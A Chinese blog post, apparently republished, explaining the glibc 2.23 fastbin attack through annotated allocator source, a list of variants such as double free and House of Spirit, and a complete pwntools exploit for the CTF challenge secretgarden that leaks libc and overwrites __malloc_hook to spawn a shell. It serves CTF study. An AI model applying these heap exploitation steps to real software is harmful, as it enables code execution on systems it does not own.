Fastbin attack 总结
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篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Fastbin attack 总结相关的知识,希望对你有一定的参考价值。
Fastbin attack
本文参考了ctf-wiki 和glibc
要了解fastbin attack,我们先要了解fastbin的机制。由于libc2.26后加入了tcache机制,我们这里就只分析glibc 2.23。
下面的代码选自glibc 2.23 (有删除)
static void _int_free (mstate av, mchunkptr p, int have_lock)
{
size = chunksize (p); //获取p的size
check_inuse_chunk(av, p);//检查p的物理相邻的下一个堆块的inuse位是否置1
//检查p的大小是否小于global_max_fast
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
//检查p物理相邻的堆块是否是top chunk
&& (chunk_at_offset(p, size) != av->top)
#endif
)
{
//检查p的物理相邻下个堆块是否存在,且大小是否满足最小和最大要求
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{.......}
//对chunk的data块通过memset赋值,但是默认情况下是不进行操作
free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);
//设置 malloc_state的flag
set_fastchunks(av);
//获取p对应大小的fastbinY的索引
unsigned int idx = fastbin_index(size);
//fb指向对应大小的fastbinY的地址
fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
// old为 对应大小的fastbinY的fd值,也就是第一个对块的地址
mchunkptr old = *fb, old2;
unsigned int old_idx = ~0u;
do
{
// Check that the top of the bin is not the record we are going to add
//检查 fastbin中对应的bin的第一项 是否 等于 p (正准备free的chunk)
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
//获取 fastbin中对应的bin的第一项的索引。
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old));
//让 p 的fd指向 顶部的fastbin块
p->fd = old2 = old;
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
//catomic_compare_and_exchange_val_rel 功能是 如果*fb等于old2,则将*fb存储为p,返回old2;
// *fb=p 也就是 让对应fastbin的fd指向 p(新加入的堆块)
//检查fastbin中对应的bin的第一项的大小是否与p(要添加的块)的大小相同。
if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0))
{
errstr = "invalid fastbin entry (free)";
goto errout;
}
}
}
可以看到fastbin 只是检查了fastbin 第一个chunk是否与新加入的chunk相同。所以我们可以使用free(0) free(1) free(0) 的方式来达到double free
利用的前提:
-
能创建 fastbin 类型的 chunk
-
存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞
如果细分的话,可以做如下的分类:
-
Fastbin Double Free
即利用double free漏洞构造chunk如下图所示
我们首先申请回chunk1然后修改其fd值指向一个fake_chunk,这里的chunk要保证size域合法,我们再次申请3次同样的chunk,就会依次拿到chunk2,chunk1,fake_chunk。我们只要在关键位置伪造fake_chunk就可以了。例如在malloc_hook左右伪造fake_chunk,然后修改malloc_hook的值为one_gadget就可以在调用malloc时get_shell。
-
UAF
同Fastbin Double Free利用手法相似,只不过只需free一次,然后修改FD指针指向fake_chunk。
-
House of Spirit
该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,再申请回来,从而达到分配指定地址的 chunk 的目的。
-
可以 free 你指定的位置的fake_chunk。
-
要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即
-
fake chunk 的 ISMMAP 位不能为1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
-
fake chunk 地址需要对齐, 32位8字节对齐,64为16字节对齐
-
fake chunk 的 size 大小需要满足对应的 fastbin 的需求。
-
fake chunk 的 next chunk 的大小合理。
-
-
-
Alloc to Stack
该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针,把 fd 指针指向我们想要分配的栈上,从而实现控制栈中的一些关键数据,比如返回地址等。
-
Arbitrary Alloc
Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。我们可以把 chunk 分配到任意的可写内存中,比如bss、heap、data、stack等等。
小结:以上是fastbin attack的集中方法,总结起来就是3步:
1. 伪造合理的chunk
2. 使fd指向fake_chunk,或者free fake_chunk。 使得fake_chunk加入到fastbin中
3. 分配得到fake_chunk,进行后续利用
例题
hitcontraining_secretgarden ,本题libc 为2.23
首先检查一下保护
main函数,有增删查,没有改。
漏洞点,del函数free的时候指针没有清零。并且free前没有检查flowerlist[i][0]的值是否为1
其他都是常规操作,我就不一一细讲了。
程序留有后门,我们也可以劫持函数的got来实现调用后门。但是我们这里使用的是劫持__malloc_hook,由于one_gadget不能用,我们通过__libc_readlloc改变栈环境,使得one_gadget条件成立。
from pwn import *
context.log_level = ‘debug‘
p = process(‘./secretgarden‘)
libc = ELF(‘/lib/x86_64-linux-gnu/libc-2.23.so‘)
def add(length,name,color):
p.sendlineafter(‘Your choice : ‘,‘1‘)
p.sendlineafter(‘name :‘,str(length))
p.sendafter(‘flower :‘,name)
p.sendlineafter(‘flower :‘,color)#0x17
def show():
p.sendlineafter(‘Your choice : ‘,‘2‘)
def delete(idx):
p.sendlineafter(‘Your choice : ‘,‘3‘)
p.sendlineafter(‘garden:‘,str(idx))
#----------------leak libc ---------------#
add(0x80,‘A‘*0x80,‘B‘*23)#0
add(0x80,‘B‘*0x80,‘B‘*23)#1
delete(0) #将其置入unsorted bin
add(0x50,‘E‘*8,‘B‘*23)#2
show()
p.recvuntil(‘EEEEEEEE‘)
libc_base = u64(p.recvuntil(‘
‘,drop=True).ljust(8,‘x00‘)) - 0x3c4b78
print ‘libc_base: ‘+hex(libc_base)
one = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one[1]
#-------------- double free ---------------#
add(0x68,‘A‘*0x68,‘B‘*23)#3
add(0x68,‘B‘*0x68,‘B‘*23)#4
delete(3)
delete(4)
delete(3) #fastbinY(0x70) -> 3 -> 4 ->3
#--------------fastbin attack --------------#
add(0x68,p64(libc_base+libc.symbols[‘__malloc_hook‘]-0x23),‘B‘*23)#5
add(0x68,‘A‘*0x68,‘B‘*23)#6
add(0x68,‘A‘*0x68,‘B‘*23)#7
add(0x68,‘x00‘*0xb+p64(one_gadget)+p64(libc_base+libc.symbols[‘__libc_realloc‘]+8),‘B‘*23)
#gdb.attach(p)
p.sendlineafter(‘Your choice : ‘,‘1‘)
p.interactive()
以上是关于Fastbin attack 总结的主要内容,如果未能解决你的问题,请参考以下文章
0ctf2017-babyheap调试记录fastbin-attack